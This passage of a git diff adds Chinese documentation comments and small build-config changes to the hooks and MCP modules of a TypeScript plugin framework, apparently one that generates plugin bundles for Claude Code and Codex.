为每个可移植 Hook 事件定义精确的结果字段和决策联合类型。 */ export interface HookResultByEvent { + /** 会话开始时可追加上下文或停止继续。 */ SessionStart: ContextResult & FlowResult<'continue' | 'stop'>; + /** 会话结束只允许返回提示信息。 */ SessionEnd: AdvisoryResult; + /** 用户提示提交前可追加上下文或拒绝提示。 */ UserPromptSubmit: ContextResult & DecisionResult<'allow' | 'deny'>; + /** 工具使用前可决策、修改输入并追加上下文。 */ PreToolUse: ContextResult & DecisionResult<'allow' | 'deny'> & { updatedInput?: unknown }; + /** 权限请求可允许、拒绝或交回平台默认处理。 */ PermissionRequest: DecisionResult<'allow' | 'deny' | 'defer'>; + /** 工具使用后可放行或阻断,并追加上下文。 */ PostToolUse: ContextResult & DecisionResult<'pass' | 'block'>; + /** 压缩前可继续或停止流程。 */ PreCompact: FlowResult<'continue' | 'stop'>; + /** 压缩后可继续或停止流程。 */ PostCompact: FlowResult<'continue' | 'stop'>; + /** 子代理启动时可追加上下文。 */ SubagentStart: ContextResult; + /** 子代理准备停止时可结束或要求继续。 */ SubagentStop: DecisionResult<'finish' | 'continue'>; + /** 主流程准备停止时可结束或要求继续。 */ Stop: DecisionResult<'finish' | 'continue'>; } +/** 根据事件类型选择精确结果;平台专有事件只允许 AdvisoryResult。 */ export type HookResult = void | (Event extends keyof HookResultByEvent ? HookResultByEvent[Event] : AdvisoryResult); +/** 单个 `src/hooks//hook.ts` 默认导出的完整 Hook 契约。 */ export interface HookDefinition { + /** 由 defineHook 注入、供 discover 阶段验证来源的品牌字段。 */ readonly __acpluginHook: true; + /** 需要订阅的 Hook 事件。 */ event: Event; + /** 可选的平台匹配表达式;必须是有效正则字符串。 */ matcher?: string; + /** 可选的 Handler 超时秒数。 */ timeout?: number; + /** 平台支持时在 Hook 运行期间显示的状态文本。 */ statusMessage?: string; + /** + * 处理规范化输入并返回与事件对应的结果。 + * + * @param input 事件输入和平台额外字段。 + * @param context 当前安装目标与 Plugin 目录上下文。 + */ run(input: HookInput, context: HookRuntimeContext): HookResult | Promise>; } +/** 配置作者需要提供的 Hook 字段,不包含框架品牌字段。 */ export type HookDefinitionInput = Omit, '__acpluginHook'>; +/** + * 为 Hook 定义提供类型推断,并注入 discover 阶段使用的不可变品牌字段。 + * + * @param definition 配置作者提供的事件、匹配和 Handler。 + * @returns 冻结后的完整 HookDefinition。 + */ export function defineHook(definition: HookDefinitionInput): HookDefinition { return Object.freeze({ ...definition, __acpluginHook: true }); } +/** discover 阶段保存的 Hook 描述、目录与已执行定义。 */ interface DiscoveredHook { + /** 从一级目录名称取得的 Hook ID。 */ id: string; + /** 当前 Hook 的绝对源码目录。 */ directory: string; + /** `hook.ts` 的绝对路径。 */ sourcePath: string; + /** TypeScript 描述文件执行后得到的 Hook 定义。 */ definition: HookDefinition; } +/** build 阶段向 generate 阶段传递的按 Hook、Target 索引 Bundle。 */ interface BuiltHooksState { + /** 每个 Hook 对各支持目标生成的运行器。 */ bundles: ReadonlyMap>; } +/** 单个 Hook 针对单个目标构建的可执行 Handler 与许可文件。 */ interface BundledHook { + /** Rolldown 生成的独立 ESM Handler 路径。 */ handler: string; + /** Bundle 包含第三方依赖时生成的合并许可文件。 */ licenses?: string; } +/** Hook 一级目录接受的小写 kebab-case 格式。 */ const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +/** 用于运行时配置验证的全部已知 Hook 事件集合。 */ const ALL_EVENTS = new Set([...PORTABLE_HOOK_EVENTS, ...CLAUDE_ONLY_HOOK_EVENTS]); +/** + * 兼容 Jiti 可能返回的模块命名空间或已解包默认导出。 + * + * @param value TypeScript Module 加载结果。 + * @returns 存在 default 时返回 default,否则返回原值。 + */ function unwrapDefault(value: unknown): unknown { if (value && typeof value === 'object' && 'default' in value) return (value as { default: unknown }).default; return value; } +/** Bundle 中一个第三方 npm 包的许可元数据与原始 Notice 文本。 */ interface PackageLicense { + /** npm 包名。 */ name: string; + /** npm 包版本。 */ version: string; + /** package.json 声明的 SPDX 标识或 UNKNOWN。 */ license: string; + /** 包根目录中发现的 LICENSE/NOTICE 文件。 */ notices: readonly { name: string; text: string }[]; } +/** + * 从 Rolldown Module ID 向上查找所属 npm 包及其许可文件。 + * + * @param moduleId Bundle 图中的原始 Module ID。 + * @returns 第三方 node_modules 文件对应的许可记录;工程源码返回 undefined。 + * @throws 第三方包缺少元数据或许可文件时抛出异常,阻止发布不完整 Bundle。 + */ async function packageLicenseForModule(moduleId: string): Promise { + /** 移除 Rolldown 查询参数和虚拟模块前缀后的文件路径。 */ const normalized = moduleId.replace(/\?.*$/, '').replace(/^\0/, ''); if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) return undefined; + /** 从模块文件开始向上查找 package.json 的当前目录。 */ let directory = path.dirname(normalized); + /** 终止向上遍历的文件系统根目录。 */ const root = path.parse(directory).root; while (directory !== root) { try { + /** 当前候选目录中的包清单。 */ const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { name?: unknown; version?: unknown; license?: unknown; }; if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { + /** 包根目录的一级文件,用于发现法律文本。 */ const entries = await fs.readdir(directory, { withFileTypes: true }); + /** 按稳定顺序保留的 LICENSE 与 NOTICE 文件名。 */ const noticeFiles = entries .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/i.test(entry.name)) .map(entry => entry.name) @@ -170,28 +263,47 @@ async function packageLicenseForModule(moduleId: string): Promise { + /** 按包名和版本去重的许可记录。 */ const records = new Map(); for (const moduleId of Object.keys(chunk.modules).sort((a, b) => a.localeCompare(b, 'en'))) { + /** 当前 Bundle Module 所属的可选第三方包许可。 */ const record = await packageLicenseForModule(moduleId); if (record) records.set(`${record.name}@${record.version}`, record); } if (records.size === 0) return undefined; + /** 按确定顺序拼接的许可文件段落。 */ const sections = ['THIRD-PARTY LICENSES']; for (const [id, record] of [...records].sort(([a], [b]) => a.localeCompare(b, 'en'))) { sections.push(`## ${id}\nSPDX: ${record.license}`); for (const notice of record.notices) sections.push(`### ${notice.name}\n${notice.text}`); } + /** 与 Handler 一同发布的第三方许可文件路径。 */ const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); await fs.writeFile(destination, `${sections.join('\n\n')}\n`); return destination; } +/** + * 扫描 `src/hooks//hook.ts` 并执行带品牌校验的 TypeScript 定义。 + * + * @param context Core 提供的 discover 上下文与 TypeScript 加载器。 + * @returns 按 Hook ID 稳定排序的有效定义。 + */ async function discover(context: ModuleDiscoverContext): Promise { + /** Hooks Module 拥有的固定源码根目录。 */ const root = path.join(context.config.srcDir, 'hooks'); + /** Hook 根目录的一级目录项。 */ let entries: import('node:fs').Dirent[]; try { entries = await fs.readdir(root, { withFileTypes: true }); @@ -200,8 +312,10 @@ async function discover(context: ModuleDiscoverContext): Promise a.name.localeCompare(b.name, 'en'))) { + /** 当前 Hook 候选目录的绝对路径。 */ const directory = path.join(root, entry.name); if (!entry.isDirectory() || !ID_PATTERN.test(entry.name)) { context.diagnostics.error('HOOK_ENTRY_INVALID', 'Hook entries must be one-level lowercase kebab-case directories.', { @@ -210,8 +324,10 @@ async function discover(context: ModuleDiscoverContext): Promise { for (const hook of hooks) { + /** 当前 Hook 已加载但尚未完成语义校验的定义。 */ const { definition } = hook; if (!ALL_EVENTS.has(definition.event)) context.diagnostics.error('HOOK_EVENT_UNSUPPORTED', `Hook ${hook.id} uses unsupported event ${String(definition.event)}.`, { phase: 'validate', module: HOOKS_MODULE_NAME }); @@ -249,7 +372,19 @@ async function validate(context: ModuleValidateContext, hooks: DiscoveredHook[]) } } +/** + * 生成单个 Hook 的跨平台隔离运行器源码。 + * + * 运行器负责限制输入输出大小、规范化平台字段、校验事件结果并把规范决策映射回平台协议。 + * 生成字符串内部是最终 Plugin 运行时代码,按仓库规范不机械注入开发期中文注释。 + * + * @param hook 当前 Hook 定义及其源码路径。 + * @param target 正在生成的目标平台。 + * @param runnerDirectory 临时运行器目录,用于计算可打包的相对导入路径。 + * @returns 可交给 Rolldown 的 ESM 入口源码。 + */ function runnerSource(hook: DiscoveredHook, target: TargetId, runnerDirectory: string): string { + /** 从生成运行器到用户 hook.ts 的 ESM 相对导入路径。 */ let importPath = path.relative(runnerDirectory, hook.sourcePath).split(path.sep).join('/'); if (!importPath.startsWith('.')) importPath = `./${importPath}`; @@ -405,11 +540,22 @@ main().catch((error) => { `; } +/** + * 将用户 Hook 及框架运行器打包为单文件目标 Handler,并收集第三方许可。 + * + * @param hook 待打包的 Hook。 + * @param target 当前目标平台。 + * @param workDir Module 在本次构建中的隔离工作目录。 + * @returns 可由 generate 阶段贡献的 Handler 与可选许可文件。 + */ async function bundleHook(hook: DiscoveredHook, target: TargetId, workDir: string): Promise { + /** 当前 Hook 和目标独占的 Bundle 工作目录。 */ const targetDirectory = path.join(workDir, hook.id, target); await fs.mkdir(targetDirectory, { recursive: true }); + /** 动态生成、导入用户 Hook 的 Rolldown 入口。 */ const runner = path.join(targetDirectory, 'runner.mjs'); await fs.writeFile(runner, runnerSource(hook, target, targetDirectory)); + /** 保留 Node 内置模块为 external 的内存构建结果。 */ const output = await rolldownBuild({ input: runner, platform: 'node', @@ -417,18 +563,30 @@ async function bundleHook(hook: DiscoveredHook, target: TargetId, workDir: strin write: false, output: { format: 'esm', sourcemap: false, codeSplitting: false, comments: { legal: true } }, }); + /** 构建产生的 JavaScript Chunk;协议要求严格只有一个。 */ const chunks = output.output.filter((item): item is OutputChunk => item.type === 'chunk'); if (chunks.length !== 1 || output.output.some(item => item.type === 'asset')) throw new Error(`Hook ${hook.id} must bundle to one JavaScript chunk and no assets.`); + /** 最终贡献给 Plugin 的独立 ESM Handler。 */ const bundle = path.join(targetDirectory, 'handler.mjs'); await fs.writeFile(bundle, chunks[0]!.code); + /** Bundle 包含第三方依赖时生成的许可汇总。 */ const licenses = await writeThirdPartyLicenses(chunks[0]!, targetDirectory); return licenses ? { handler: bundle, licenses } : { handler: bundle }; } +/** + * 为每个 Hook 和支持它的目标预构建独立 Handler。 + * + * @param context Core 提供的 Module 工作目录与目标配置。 + * @param hooks 已通过验证的 Hook。 + * @returns 按 Hook 与目标索引的 Bundle 状态。 + */ async function build(context: ModuleBuildContext, hooks: DiscoveredHook[]): Promise { + /** 全部 Hook 的按目标 Bundle 索引。 */ const bundles = new Map>(); for (const hook of hooks) { + /** 当前 Hook 在支持目标上的 Bundle。 */ const targetBundles = new Map(); for (const target of context.config.targets) { if (target.id === 'codex' && CLAUDE_ONLY_HOOK_EVENTS.includes(hook.definition.event as ClaudeOnlyHookEvent)) @@ -440,6 +598,13 @@ async function build(context: ModuleBuildContext, hooks: DiscoveredHook[]): Prom return { bundles }; } +/** + * 计算单个 Hook 在目标平台上的原生、降级或不支持结论。 + * + * @param hook 已验证的 Hook。 + * @param target 当前目标平台。 + * @returns 供 strict 策略和构建报告使用的兼容性条目。 + */ function compatibilityFor(hook: DiscoveredHook, target: TargetId): CompatibilityEntry[] { if (target === 'codex' && CLAUDE_ONLY_HOOK_EVENTS.includes(hook.definition.event as ClaudeOnlyHookEvent)) { return [{ @@ -468,6 +633,14 @@ function compatibilityFor(hook: DiscoveredHook, target: TargetId): Compatibility }]; } +/** + * 为目标平台贡献 Hook Handler、许可文件和平台 Hook 清单。 + * + * @param context 当前目标的 generate 上下文。 + * @param hooks discover 阶段得到的 Hook。 + * @param built build 阶段产生的 Bundle 索引。 + * @returns 交给 Compiler 合并的 Artifact 和兼容性条目。 + */ async function generate( context: ModuleGenerateContext, hooks: DiscoveredHook[], @@ -475,16 +648,21 @@ async function generate( ): Promise { if (hooks.length === 0) return {}; + /** 当前目标需要加入 ArtifactGraph 的 Hook 文件。 */ const artifacts = []; + /** 按平台事件名分组的命令 Handler 配置。 */ const hookGroups: Record = {}; for (const hook of hooks) { + /** 当前 Hook 在目标平台上已构建的可选 Bundle。 */ const bundle = built.bundles.get(hook.id)?.get(context.target); if (!bundle) continue; artifacts.push({ path: `hooks/${hook.id}/handler.mjs`, source: { type: 'file' as const, path: bundle.handler }, mode: 0o755 as const }); if (bundle.licenses) artifacts.push({ path: `hooks/${hook.id}/THIRD_PARTY_LICENSES.txt`, source: { type: 'file' as const, path: bundle.licenses }, mode: 0o644 as const }); + /** 目标平台在安装运行时提供的 Plugin 根目录环境变量。 */ const rootVariable = context.target === 'codex' ? 'PLUGIN_ROOT' : 'CLAUDE_PLUGIN_ROOT'; + /** 平台清单中调用独立 Node Handler 的命令配置。 */ const handler: Record = { type: 'command', command: `node "\${${rootVariable}}/hooks/${hook.id}/handler.mjs"`, @@ -493,6 +671,7 @@ async function generate( handler.timeout = hook.definition.timeout; if (hook.definition.statusMessage !== undefined) handler.statusMessage = hook.definition.statusMessage; + /** 可选携带 matcher 的单 Handler 事件组。 */ const group: Record = { hooks: [handler] }; if (hook.definition.matcher !== undefined) group.matcher = hook.definition.matcher; @@ -506,6 +685,11 @@ async function generate( }; } +/** + * 创建参与 discover、validate、build 和 generate 阶段的官方 Hooks Module。 + * + * @returns 可直接加入 acplugin.config.ts modules 数组的 Module。 + */ export function hooks(): AcpluginModule { return { name: HOOKS_MODULE_NAME, @@ -516,4 +700,5 @@ export function hooks(): AcpluginModule { }; } +/** 官方 Hooks Module 工厂的默认导出。 */ export default hooks; diff --git a/packages/module-hooks/tsdown.config.ts b/packages/module-hooks/tsdown.config.ts index 510566b..475b1a5 100644 --- a/packages/module-hooks/tsdown.config.ts +++ b/packages/module-hooks/tsdown.config.ts @@ -1,12 +1,13 @@ import { defineConfig } from 'tsdown'; import { fileURLToPath } from 'node:url'; +// 公开 Hooks Module 保持主包为 Peer Dependency,并在构建后执行发布结构检查。 export default defineConfig({ entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], format: ['esm'], platform: 'node', target: 'node20', - dts: true, + dts: { generator: 'oxc' }, clean: true, sourcemap: false, publint: true, diff --git a/packages/module-mcp/package.json b/packages/module-mcp/package.json index 8b29920..43b6db8 100644 --- a/packages/module-mcp/package.json +++ b/packages/module-mcp/package.json @@ -11,7 +11,7 @@ "engines": { "node": ">=20" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, "files": ["dist", "README.md", "LICENSE"], - "publishConfig": { "access": "public", "provenance": true }, + "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "test": "vitest run --passWithNoTests", diff --git a/packages/module-mcp/src/index.ts b/packages/module-mcp/src/index.ts index d9988aa..1dd1e68 100644 --- a/packages/module-mcp/src/index.ts +++ b/packages/module-mcp/src/index.ts @@ -13,84 +13,141 @@ import { type TargetContribution, } from '@tokenroll/acplugin'; +/** MCP 官方 Module 的稳定名称,也是诊断和配置依赖使用的唯一 ID。 */ export const MCP_MODULE_NAME = '@tokenroll/acplugin-module-mcp'; +/** MCP Header 或环境字段的字面量来源与运行时环境变量来源。 */ export type ValueSource = { value: string } | { env: string }; +/** 由 defineMcpServer 注入、供 discover 阶段验证定义来源的品牌字段。 */ interface McpServerBase { + /** 标识定义已通过官方辅助函数构造。 */ readonly __acpluginMcpServer: true; } +/** 只声明远程端点、不需要用户提供服务端实现的 HTTP MCP Server。 */ export interface HttpMcpServer extends McpServerBase { + /** 固定为 HTTP 远程传输。 */ transport: 'http'; + /** MCP Server 的完整 URL。 */ url: string; + /** 无认证、OAuth 或从环境变量读取 Bearer Token 的认证策略。 */ auth?: | { type: 'none' } | { type: 'oauth'; scopes?: readonly string[] } | { type: 'bearer'; env: string }; + /** 附加到 HTTP 请求的字面量或环境变量 Header。 */ headers?: Readonly>; } +/** 由项目提供完整本地实现、构建为独立 Node 进程的 stdio MCP Server。 */ export interface StdioMcpServer extends McpServerBase { + /** 固定为 stdio 本地传输。 */ transport: 'stdio'; + /** 相对于当前 MCP 目录的入口,默认 `server.ts`。 */ entry?: string; + /** 传递给本地进程的字面量或宿主环境变量。 */ env?: Readonly>; } +/** 远程 HTTP 声明与本地 stdio 实现组成的 MCP Server 联合类型。 */ export type McpServerDefinition = HttpMcpServer | StdioMcpServer; +/** 配置作者提供的 MCP 定义,不包含框架品牌字段。 */ export type McpServerInput = Omit | Omit; +/** + * 为 MCP 定义提供类型推断,并注入 discover 阶段使用的不可变品牌字段。 + * + * @param definition HTTP 远程声明或 stdio 本地实现配置。 + * @returns 冻结后的完整 McpServerDefinition。 + */ export function defineMcpServer(definition: McpServerInput): McpServerDefinition { return Object.freeze({ ...definition, __acpluginMcpServer: true }) as McpServerDefinition; } +/** discover 阶段保存的 MCP 描述、目录与已执行定义。 */ interface DiscoveredMcpServer { + /** 从一级目录名称取得的 MCP Server ID。 */ id: string; + /** 当前 MCP Server 的绝对源码目录。 */ directory: string; + /** `mcp.ts` 描述文件的绝对路径。 */ descriptorPath: string; + /** TypeScript 描述文件执行后得到的 Server 定义。 */ definition: McpServerDefinition; } +/** build 阶段向 generate 阶段传递的本地 stdio Server Bundle。 */ interface BuiltMcpState { + /** 仅包含需要本地构建的 stdio Server。 */ bundles: ReadonlyMap; } +/** 单个 stdio MCP Server 的独立可执行文件与许可文件。 */ interface BundledServer { + /** Rolldown 生成的单文件 ESM Server 路径。 */ server: string; + /** Bundle 包含第三方依赖时生成的合并许可文件。 */ licenses?: string; } +/** MCP 一级目录接受的小写 kebab-case 格式。 */ const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +/** MCP 环境变量引用接受的可移植名称格式。 */ const ENV_PATTERN = /^[A-Za-z_][A-Za-z0-9_]*$/; +/** + * 兼容 Jiti 可能返回的模块命名空间或已解包默认导出。 + * + * @param value TypeScript Module 加载结果。 + * @returns 存在 default 时返回 default,否则返回原值。 + */ function unwrapDefault(value: unknown): unknown { if (value && typeof value === 'object' && 'default' in value) return (value as { default: unknown }).default; return value; } +/** Bundle 中一个第三方 npm 包的许可元数据与原始 Notice 文本。 */ interface PackageLicense { + /** npm 包名。 */ name: string; + /** npm 包版本。 */ version: string; + /** package.json 声明的 SPDX 标识或 UNKNOWN。 */ license: string; + /** 包根目录中发现的 LICENSE/NOTICE 文件。 */ notices: readonly { name: string; text: string }[]; } +/** + * 从 Rolldown Module ID 向上查找所属 npm 包及其许可文件。 + * + * @param moduleId Bundle 图中的原始 Module ID。 + * @returns 第三方 node_modules 文件对应的许可记录;工程源码返回 undefined。 + * @throws 第三方包缺少元数据或许可文件时抛出异常,阻止发布不完整 Bundle。 + */ async function packageLicenseForModule(moduleId: string): Promise { + /** 移除 Rolldown 查询参数和虚拟模块前缀后的文件路径。 */ const normalized = moduleId.replace(/\?.*$/, '').replace(/^\0/, ''); if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) return undefined; + /** 从模块文件开始向上查找 package.json 的当前目录。 */ let directory = path.dirname(normalized); + /** 终止向上遍历的文件系统根目录。 */ const root = path.parse(directory).root; while (directory !== root) { try { + /** 当前候选目录中的包清单。 */ const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { name?: unknown; version?: unknown; license?: unknown; }; if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { + /** 包根目录的一级文件,用于发现法律文本。 */ const entries = await fs.readdir(directory, { withFileTypes: true }); + /** 按稳定顺序保留的 LICENSE 与 NOTICE 文件名。 */ const noticeFiles = entries .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/i.test(entry.name)) .map(entry => entry.name) @@ -116,28 +173,47 @@ async function packageLicenseForModule(moduleId: string): Promise { + /** 按包名和版本去重的许可记录。 */ const records = new Map(); for (const moduleId of Object.keys(chunk.modules).sort((a, b) => a.localeCompare(b, 'en'))) { + /** 当前 Bundle Module 所属的可选第三方包许可。 */ const record = await packageLicenseForModule(moduleId); if (record) records.set(`${record.name}@${record.version}`, record); } if (records.size === 0) return undefined; + /** 按确定顺序拼接的许可文件段落。 */ const sections = ['THIRD-PARTY LICENSES']; for (const [id, record] of [...records].sort(([a], [b]) => a.localeCompare(b, 'en'))) { sections.push(`## ${id}\nSPDX: ${record.license}`); for (const notice of record.notices) sections.push(`### ${notice.name}\n${notice.text}`); } + /** 与 Server 一同发布的第三方许可文件路径。 */ const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); await fs.writeFile(destination, `${sections.join('\n\n')}\n`); return destination; } +/** + * 扫描 `src/mcp//mcp.ts` 并执行带品牌校验的 TypeScript 定义。 + * + * @param context Core 提供的 discover 上下文与 TypeScript 加载器。 + * @returns 按 Server ID 稳定排序的有效定义。 + */ async function discover(context: ModuleDiscoverContext): Promise { + /** MCP Module 拥有的固定源码根目录。 */ const root = path.join(context.config.srcDir, 'mcp'); + /** MCP 根目录的一级目录项。 */ let entries: import('node:fs').Dirent[]; try { entries = await fs.readdir(root, { withFileTypes: true }); @@ -147,8 +223,10 @@ async function discover(context: ModuleDiscoverContext): Promise a.name.localeCompare(b.name, 'en'))) { + /** 当前 MCP Server 候选目录的绝对路径。 */ const directory = path.join(root, entry.name); if (!entry.isDirectory() || !ID_PATTERN.test(entry.name)) { context.diagnostics.error('MCP_ENTRY_INVALID', 'MCP entries must be one-level lowercase kebab-case directories.', { @@ -157,8 +235,10 @@ async function discover(context: ModuleDiscoverContext): Promise> | undefined, server: DiscoveredMcpServer, @@ -193,10 +280,21 @@ function validateValueSources( } } +/** + * 验证远程 HTTP 安全策略或本地 stdio 入口与环境变量约束。 + * + * production 强制 HTTPS;development 仅允许 HTTPS 或 loopback HTTP。本地入口必须留在 + * 自己的 MCP 目录中,并且是普通非符号链接文件。 + * + * @param context Core 提供的项目、模式与诊断上下文。 + * @param servers discover 阶段成功加载的 MCP Server。 + */ async function validate(context: ModuleValidateContext, servers: DiscoveredMcpServer[]): Promise { for (const server of servers) { + /** 当前 Server 已加载但尚未完成语义校验的定义。 */ const definition = server.definition; if (definition.transport === 'http') { + /** 成功解析时的标准 URL,用于协议和主机安全检查。 */ let url: URL | undefined; try { url = new URL(definition.url); @@ -213,11 +311,14 @@ async function validate(context: ModuleValidateContext, servers: DiscoveredMcpSe context.diagnostics.error('MCP_OAUTH_SCOPE_INVALID', `MCP server ${server.id} OAuth scopes must be non-empty strings.`, { phase: 'validate', module: MCP_MODULE_NAME }); validateValueSources(definition.headers, server, context); } else if (definition.transport === 'stdio') { + /** 默认或显式配置解析出的本地 Server 绝对入口。 */ const entry = path.resolve(server.directory, definition.entry ?? 'server.ts'); + /** 用于发现目录逃逸的入口相对路径。 */ const relative = path.relative(server.directory, entry); if (relative === '..' || relative.startsWith(`..${path.sep}`) || path.isAbsolute(relative)) context.diagnostics.error('MCP_ENTRY_ESCAPE', `MCP server ${server.id} entry must stay inside its directory.`, { phase: 'validate', module: MCP_MODULE_NAME }); try { + /** 用 lstat 获取且用于拒绝符号链接的入口元数据。 */ const stat = await fs.lstat(entry); if (!stat.isFile() || stat.isSymbolicLink()) throw new Error('entry is not a regular file'); @@ -231,7 +332,15 @@ async function validate(context: ModuleValidateContext, servers: DiscoveredMcpSe } } +/** + * 将完整本地 MCP 实现打包为单文件 Node ESM,并收集第三方许可。 + * + * @param entry 用户提供的本地 Server TypeScript 入口。 + * @param outputFile Module 工作目录中的目标 Bundle 路径。 + * @returns 可由 generate 阶段贡献的 Server 与可选许可文件。 + */ async function bundleServer(entry: string, outputFile: string): Promise { + /** 保留 Node 内置模块为 external 的内存构建结果。 */ const output = await rolldownBuild({ input: entry, platform: 'node', @@ -244,33 +353,54 @@ async function bundleServer(entry: string, outputFile: string): Promise item.type === 'chunk'); + /** 本地 MCP 暂不支持需要额外复制的 Rolldown Asset。 */ const assets = output.output.filter(item => item.type === 'asset'); if (chunks.length !== 1 || assets.length !== 0) throw new Error('Local MCP server must bundle to exactly one JavaScript chunk and no assets.'); await fs.mkdir(path.dirname(outputFile), { recursive: true }); await fs.writeFile(outputFile, chunks[0]!.code); + /** Bundle 包含第三方依赖时生成的许可汇总。 */ const licenses = await writeThirdPartyLicenses(chunks[0]!, path.dirname(outputFile)); return licenses ? { server: outputFile, licenses } : { server: outputFile }; } +/** + * 只为 stdio 定义构建本地 Server;HTTP 定义保持纯远程声明。 + * + * @param context Core 提供的 Module 工作目录。 + * @param servers 已通过验证的 MCP Server。 + * @returns 按 Server ID 索引的本地 Bundle 状态。 + */ async function build(context: ModuleBuildContext, servers: DiscoveredMcpServer[]): Promise { + /** 仅包含 stdio Server 的 Bundle 索引。 */ const bundles = new Map(); for (const server of servers) { if (server.definition.transport !== 'stdio') continue; + /** 已在 validate 阶段确认留在 Server 目录内的本地入口。 */ const entry = path.resolve(server.directory, server.definition.entry ?? 'server.ts'); + /** 当前 Server 在 Module 隔离工作目录中的 Bundle 路径。 */ const output = path.join(context.workDir, server.id, 'server.mjs'); bundles.set(server.id, await bundleServer(entry, output)); } return { bundles }; } +/** + * 将 ValueSource 映射拆分为字面量和环境变量引用,供平台分别编码。 + * + * @param values Header 或进程环境配置。 + * @returns 按名称稳定插入的 literal 与 environment 映射。 + */ function mapValues(values: Readonly> | undefined): { literal: Record; environment: Record; } { + /** 可以直接写入目标清单的非敏感字面量。 */ const literal: Record = {}; + /** 只写变量名称、由安装运行时读取真实值的引用。 */ const environment: Record = {}; for (const [name, source] of Object.entries(values ?? {}).sort(([a], [b]) => a.localeCompare(b, 'en'))) { if ('value' in source) @@ -281,9 +411,17 @@ function mapValues(values: Readonly> | undefined): { return { literal, environment }; } +/** + * 把规范 MCP 定义转换为 Claude Code `.mcp.json` Server 描述。 + * + * @param server 已验证并可能完成本地构建的 MCP Server。 + * @returns Claude Code 使用的 stdio 或 HTTP 配置。 + */ function claudeDescriptor(server: DiscoveredMcpServer): Record { + /** 当前 Server 的可判别联合定义。 */ const definition = server.definition; if (definition.transport === 'stdio') { + /** 拆分后的进程环境字面量与宿主变量引用。 */ const values = mapValues(definition.env); return { type: 'stdio', @@ -295,7 +433,9 @@ function claudeDescriptor(server: DiscoveredMcpServer): Record }, }; } + /** 拆分后的 HTTP Header 字面量与宿主变量引用。 */ const values = mapValues(definition.headers); + /** 最终写入 Claude `.mcp.json` 的 Header。 */ const headers: Record = { ...values.literal, ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, `\${${env}}`])), @@ -312,9 +452,17 @@ function claudeDescriptor(server: DiscoveredMcpServer): Record }; } +/** + * 把规范 MCP 定义转换为 Codex Plugin MCP Server 描述。 + * + * @param server 已验证并可能完成本地构建的 MCP Server。 + * @returns Codex 使用的 stdio 或 HTTP 配置。 + */ function codexDescriptor(server: DiscoveredMcpServer): Record { + /** 当前 Server 的可判别联合定义。 */ const definition = server.definition; if (definition.transport === 'stdio') { + /** 拆分后的进程环境字面量与宿主变量引用。 */ const values = mapValues(definition.env); return { command: 'node', @@ -324,6 +472,7 @@ function codexDescriptor(server: DiscoveredMcpServer): Record { ...(Object.keys(values.environment).length === 0 ? {} : { env_vars: Object.values(values.environment).sort() }), }; } + /** 拆分后的 HTTP Header 字面量与宿主变量引用。 */ const values = mapValues(definition.headers); return { url: definition.url, @@ -334,6 +483,14 @@ function codexDescriptor(server: DiscoveredMcpServer): Record { }; } +/** + * 为当前目标贡献本地 Server Bundle、许可文件和平台 MCP 清单。 + * + * @param context 当前目标的 generate 上下文。 + * @param servers discover 阶段得到的全部远程和本地 Server。 + * @param built build 阶段产生的 stdio Bundle 索引。 + * @returns 交给 Compiler 合并的 Artifact 和 Codex 清单扩展字段。 + */ async function generate( context: ModuleGenerateContext, servers: DiscoveredMcpServer[], @@ -341,6 +498,7 @@ async function generate( ): Promise { if (servers.length === 0) return {}; + /** 当前目标需要加入 ArtifactGraph 的 MCP 文件。 */ const artifacts: ArtifactInput[] = []; for (const [id, bundle] of built.bundles) { artifacts.push({ path: `mcp/${id}/server.mjs`, source: { type: 'file', path: bundle.server }, mode: 0o755 }); @@ -349,16 +507,23 @@ async function generate( } if (context.target === 'claude-code') { + /** Claude `.mcp.json` 要求包裹在 mcpServers 顶层字段中。 */ const mcpServers = Object.fromEntries(servers.map(server => [server.id, claudeDescriptor(server)])); artifacts.push(bytesArtifact('.mcp.json', stableJson({ mcpServers }))); return { artifacts }; } + /** Codex `.mcp.json` 使用 Server ID 到描述的直接映射。 */ const serverMap = Object.fromEntries(servers.map(server => [server.id, codexDescriptor(server)])); artifacts.push(bytesArtifact('.mcp.json', stableJson(serverMap))); return { artifacts, manifestFields: { mcpServers: './.mcp.json' } }; } +/** + * 创建参与 discover、validate、build 和 generate 阶段的官方 MCP Module。 + * + * @returns 可直接加入 acplugin.config.ts modules 数组的 Module。 + */ export function mcp(): AcpluginModule { return { name: MCP_MODULE_NAME, @@ -369,4 +534,5 @@ export function mcp(): AcpluginModule { }; } +/** 官方 MCP Module 工厂的默认导出。 */ export default mcp; diff --git a/packages/module-mcp/tsdown.config.ts b/packages/module-mcp/tsdown.config.ts index 510566b..6b516c7 100644 --- a/packages/module-mcp/tsdown.config.ts +++ b/packages/module-mcp/tsdown.config.ts @@ -1,12 +1,13 @@ import { defineConfig } from 'tsdown'; import { fileURLToPath } from 'node:url'; +// 公开 MCP Module 保持主包为 Peer Dependency,并在构建后执行发布结构检查。 export default defineConfig({ entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], format: ['esm'], platform: 'node', target: 'node20', - dts: true, + dts: { generator: 'oxc' }, clean: true, sourcemap: false, publint: true, diff --git a/packages/test/test/build.test.ts b/packages/test/test/build.test.ts index eaa48e2..31d46b7 100644 --- a/packages/test/test/build.test.ts +++ b/packages/test/test/build.test.ts @@ -4,8 +4,15 @@ import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { runProject } from '@tokenroll/acplugin'; +/** 当前测试创建并在 afterEach 中统一删除的临时工程根目录。 */ const roots: string[] = []; +/** + * 